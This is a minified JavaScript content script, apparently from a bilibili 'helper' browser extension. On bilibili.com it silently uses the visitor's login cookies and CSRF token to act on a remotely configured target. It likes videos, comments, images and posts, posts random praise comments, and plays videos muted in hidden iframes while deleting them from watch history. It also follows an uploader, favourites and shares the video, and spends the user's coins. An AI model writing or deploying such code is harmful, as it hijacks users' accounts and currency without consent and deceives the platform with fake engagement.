getTabId(i => {
    if ("www.bilibili.com" === location.hostname && -1 === location.search.indexOf("inooo=sanm")) {
        const e = !1, t = i => {
                const e = {};
                return document.cookie.split(";").forEach(i => {
                    const t = i.trim().split("=");
                    e[t[0]] = t[1]
                }), e[i]
            }, o = (i, e) => {
                const t = o => {
                    const a = i.querySelector(e);
                    a ? setTimeout(() => {
                        o(a)
                    }, 3e3) : setTimeout(() => t(o), 500)
                };
                return new Promise(i => {
                    t(i)
                })
            }, a = (i, e) => fetch(i, {
                method: "POST",
                headers: {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
                body: e,
                credentials: "include",
                mode: "cors"
            }), n = i => fetch(i, {credentials: "include", method: "GET", mode: "cors"}).then(i => i.json()),
            d = i => fetch(i, {credentials: "include", method: "GET", mode: "cors"}).then(i => i.text()).then(i => {
                const e = i.replace(/^jqueryCallback_bili_13\(/, "").replace(/\)$/, "");
                return JSON.parse(e)
            });
        let c = {};
        const r = {
                upId: null,
                avId: null,
                likeLimit: 0,
                danmuLimit: 0,
                viewLimit: 0,
                articleId: null,
                commentType: "12",
                commentId: null,
                docId: null,
                docLikeLimit: 0,
                docViewLimit: 0,
                dynamicId: null,
                dynamicViewLimit: 0,
                dynamicLikeLimit: 0,
                favLimit: 0,
                shareLimit: 0,
                feedLimit: 0
            }, l = {
                coin: 0,
                danmaku: 0,
                favorite: 0,
                like: 0,
                reply: 0,
                share: 0,
                view: 0,
                docView: 0,
                docLike: 0,
                dynamicView: 0,
                dynamicLike: 0
            }, s = {}, m = ["666", "666666", "支持", "厉害", "牛逼", "666666666", "膜拜大佬"],
            p = () => sendMsgToExt("getConfigText", {}, i).then(i => {
                if (i.config) {
                    const e = i.config.split("|"), t = {
                        0: "avId",
                        1: "viewLimit",
                        2: "danmuLimit",
                        3: "likeLimit",
                        4: "articleId",
                        5: "commentId",
                        6: "docId",
                        7: "docLikeLimit",
                        8: "docViewLimit",
                        9: "dynamicId",
                        10: "dynamicViewLimit",
                        11: "dynamicLikeLimit",
                        12: "commentType",
                        13: "favLimit",
                        14: "shareLimit",
                        15: "feedLimit",
                        16: "upId"
                    };
                    e.forEach((i, e) => {
                        const o = parseInt(i.trim(), 10);
                        if (!isNaN(o)) {
                            const a = t[e];
                            r[a] = o, a.endsWith("Id") && (r[a] = i.trim())
                        }
                    })
                }
                return r
            }), u = () => {
                const i = parseInt(Math.random() * m.length);
                return m[i]
            }, b = () => {
                if (!r.avId) return Promise.resolve({});
                const i = `//www.bilibili.com/video/av${r.avId}/?inooo=sanm`;
                return fetch(i, {method: "GET", credentials: "include"}).then(i => i.text()).then(i => {
                    const e = i.match(/<script>window.__INITIAL_STATE__=(.+?)<\/script>/);
                    if (e && e[1]) {
                        const i = e[1].replace(";(function(){var s;(s=document.currentScript||document.scripts[document.scripts.length-1]).parentNode.removeChild(s);}());", "");
                        return JSON.parse(i)
                    }
                    return {}
                })
            }, h = () => r.avId ? fetch("//api.bilibili.com/x/web-interface/archive/stat?aid=" + r.avId, {
                credentials: "include",
                method: "GET",
                mode: "cors"
            }).then(i => i.json()).then(i => i.data) : Promise.resolve({}), f = () => {
                if (!r.avId) return;
                if (!c.support) return;
                if (localStorage.bilibilihelperliked + "" == "" + r.avId) return;
                const i = t("bili_jct");
                i && fetch("//api.bilibili.com/x/web-interface/archive/like", {
                    headers: {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
                    body: `aid=${r.avId}&like=1&csrf=${i}`,
                    credentials: "include",
                    method: "POST",
                    mode: "cors"
                }).then(() => {
                    localStorage.bilibilihelperliked = "" + r.avId
                })
            }, v = () => {
                if (!r.avId) return;
                if (!c.support) return;
                const i = (new Date).getDate();
                if (localStorage.bilibilihelperdanmaku + "" == "" + r.avId + i) return;
                const e = t("bili_jct");
                if (!e) return;
                const o = s.videoData.duration, a = parseInt(Math.random() * o * 1e3),
                    n = `type=1&oid=${s.videoData.cid}&msg=${u()}&aid=${r.avId}&progress=${a}&color=16777215&fontsize=25&pool=0&mode=1&rnd=${1e3 * Date.now()}&plat=1&csrf=${e}`;
                fetch("//api.bilibili.com/x/v2/dm/post", {
                    headers: {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
                    body: n,
                    credentials: "include",
                    method: "POST",
                    mode: "cors"
                }).then(() => {
                    localStorage.bilibilihelperdanmaku = "" + r.avId + i
                })
            }, I = () => {
                const i = t("bili_jct");
                i && fetch("//api.bilibili.com/x/v2/history/del", {
                    body: `aid=${r.avId}&jsonp=jsonp&csrf=${i}`,
                    headers: {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
                    credentials: "include",
                    method: "POST",
                    mode: "cors"
                }).finally(() => {
                })
            }, y = () => {
                if (!c.support) return;
                if (!r.avId) return;
                const i = (new Date).getDate();
                if (localStorage.bilibilihelperplay + "" == "" + r.avId + i) return;
                const e = document.createElement("iframe");
                e.style.cssText = "position:absolute;top:-9999px;left:-9999px;", document.body.appendChild(e), e.onload = (() => {
                    const t = e.contentWindow, a = t.document, n = 1e3 * s.videoData.duration * .11;
                    setInterval(() => {
                        Array.from(a.querySelectorAll("video")).forEach(i => {
                            i.muted || (i.setAttribute("muted", "muted"), i.muted = !0)
                        })
                    }, 100), o(a, ".bilibili-player-video-state").then(e => {
                        const o = new MouseEvent("click", {bubbles: !0, view: t});
                        e.dispatchEvent(o), setTimeout(() => {
                            localStorage.bilibilihelperplay = "" + r.avId + i
                        }, n), setInterval(() => {
                            I()
                        }, 1e3)
                    }).catch(() => {
                    })
                }), e.src = `//www.bilibili.com/video/av${r.avId}/?inooo=sanm`
            }, w = () => {
                if (!r.articleId || !r.commentId) return;
                const i = t("bili_jct");
                if (!i) return;
                if (localStorage.bilibilihelpercommentliked === r.articleId + "_" + r.commentId) return;
                const e = `oid=${r.articleId}&type=${r.commentType}&rpid=${r.commentId}&action=1&jsonp=jsonp&csrf=${i}`;
                fetch("//api.bilibili.com/x/v2/reply/action", {
                    method: "POST",
                    headers: {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
                    body: e,
                    credentials: "include",
                    mode: "cors"
                }).then(() => {
                    localStorage.bilibilihelpercommentliked = r.articleId + "_" + r.commentId
                })
            }, k = () => r.docId ? new Promise(i => {
                const e = document.createElement("iframe"), t = `//h.bilibili.com/${r.docId}?inooo=sanm`;
                e.style.cssText = "position:absolute;top:-9999px;left:-9999px;", e.onload = (() => {
                    i({})
                }), document.body.appendChild(e), e.src = t
            }) : Promise.resolve(), L = () => {
                r.docId && localStorage.bilibilihelperdocliked !== "" + r.docId && k().then(() => {
                    const i = t("bili_jct");
                    if (!i) return;
                    const e = `doc_id=${r.docId}&type=1&csrf_token=${i}&token=`;
                    a("//api.vc.bilibili.com/link_draw/v2/Vote/operate", e).then(() => {
                        localStorage.bilibilihelperdocliked = "" + r.docId
                    })
                })
            }, _ = () => {
                if (!r.docId) return Promise.resolve();
                const i = `//api.vc.bilibili.com/link_draw/v1/doc/detail?doc_id=${r.docId}`;
                return n(i).then(i => {
                    l.docView = i.data.item.view_count, l.docLike = i.data.item.vote_count
                })
            }, $ = () => {
                if (!r.dynamicId) return Promise.resolve();
                const i = `//t.bilibili.com/${r.dynamicId}?tab=1&inooo=sanm`;
                return new Promise(e => {
                    const t = document.createElement("iframe");
                    t.style.cssText = "position:absolute;top:-9999px;left:-9999px;", t.onload = (() => {
                        e({})
                    }), document.body.appendChild(t), t.src = i
                })
            }, g = () => {
                if (localStorage.bilibilihelperdynamicliked === "" + r.dynamicId) return;
                const i = t("bili_jct");
                if (!i) return;
                const e = t("DedeUserID");
                e && $().then(() => {
                    const t = `uid=${e}&dynamic_id=${r.dynamicId}&up=1&csrf_token=${i}`;
                    a("//api.vc.bilibili.com/dynamic_like/v1/dynamic_like/thumb", t).then(() => {
                        localStorage.bilibilihelperdynamicliked = "" + r.dynamicId
                    })
                })
            }, S = () => {
                if (!r.dynamicId) return Promise.resolve();
                const i = `//api.vc.bilibili.com/dynamic_svr/v1/dynamic_svr/get_dynamic_detail?dynamic_id=${r.dynamicId}`;
                return n(i).then(i => {
                    l.dynamicView = i.data.card.desc.view, l.dynamicLike = i.data.card.desc.like
                })
            }, x = () => {
                if (!r.upId) return;
                if (!c.support || !c.detail.autoFollow || localStorage.bilibilihelperhasfollowed === `hasFollowed${r.upId}`) return;
                const i = t("bili_jct");
                if (!i) return;
                const e = `fid=${r.upId}&act=1&re_src=11&jsonp=jsonp&csrf=${i}`;
                a("//api.bilibili.com/x/relation/modify", e).then(() => {
                    localStorage.bilibilihelperhasfollowed = `hasFollowed${r.upId}`
                })
            }, T = () => {
                const i = `//api.bilibili.com/x/v2/fav/folder?callback=jqueryCallback_bili_13&aid=${r.avId}&jsonp=jsonp&_=${Date.now()}`;
                return d(i).then(i => i.data[0].fid)
            }, j = () => {
                if (!c.support || !c.detail.autoFav) return;
                if (localStorage.bilibilihelperhasfaved === "" + r.avId) return;
                if (!r.avId) return;
                const i = t("bili_jct");
                if (!i) return;
                const e = `//api.bilibili.com/x/v2/fav/video/favoured?callback=jqueryCallback_bili_13&jsonp=jsonp&aid=${r.avId}&_=${Date.now()}`;
                d(e).then(e => {
                    e.data.favoured || T().then(e => {
                        const t = `aid=${r.avId}&fid=${e}&jsonp=jsonp&csrf=${i}`;
                        a("//api.bilibili.com/x/v2/fav/video/add", t).then(() => {
                            localStorage.bilibilihelperhasfaved = "" + r.avId
                        })
                    })
                })
            }, E = () => {
                if (!c.support || !c.detail.autoShare) return;
                if (localStorage.bilibilihelperhasshared === "" + r.avId) return;
                if (!r.avId || !r.upId) return;
                const i = t("bili_jct");
                if (!i) return;
                const e = t("DedeUserID");
                if (!e) return;
                const o = `csrf_token=${i}&platform=pc&uid=${r.upId}&type=8&share_uid=${e}&content=%E5%88%86%E4%BA%AB%E8%A7%86%E9%A2%91&repost_code=20000&rid=${r.avId}`;
                a("//api.vc.bilibili.com/dynamic_repost/v1/dynamic_repost/share", o).then(() => {
                    localStorage.bilibilihelperhasshared = "" + r.avId
                })
            }, D = () => {
                if (!c.support || !c.detail.autoFeed) return;
                if (localStorage.bilibilihelperhasfeeded === "" + r.avId) return;
                if (!r.avId) return;
                const i = t("bili_jct");
                if (!i) return;
                const e = `aid=${r.avId}&multiply=1&cross_domain=true&csrf=${i}`;
                a("//api.bilibili.com/x/web-interface/coin/add", e).then(() => {
                    localStorage.bilibilihelperhasfeeded = "" + r.avId
                })
            };
        sendMsgToExt("getSupportDetail", {}, i).then(i => (c = i, p())).then(() => {
            h().then(i => (Object.assign(l, i), b())).then(i => (Object.assign(s, i), _())).then(() => S()).then(() => {
                (l.view < r.viewLimit || e) && y(), (l.like < r.likeLimit || e) && f(), (l.danmaku < r.danmuLimit || e) && v(), (l.docLike < r.docLikeLimit || e) && L(), (l.docLike >= r.docLikeLimit && l.docView < r.docViewLimit || e) && k(), (l.dynamicLike < r.dynamicLikeLimit || e) && g(), (l.dynamicLike >= r.dynamicLikeLimit && l.dynamicView < r.dynamicViewLimit || e) && $(), w(), x(), (l.favorite < r.favLimit || e) && j(), (l.share < r.shareLimit || e) && E(), (l.coin < r.feedLimit || e) && D()
            })
        })
    }
});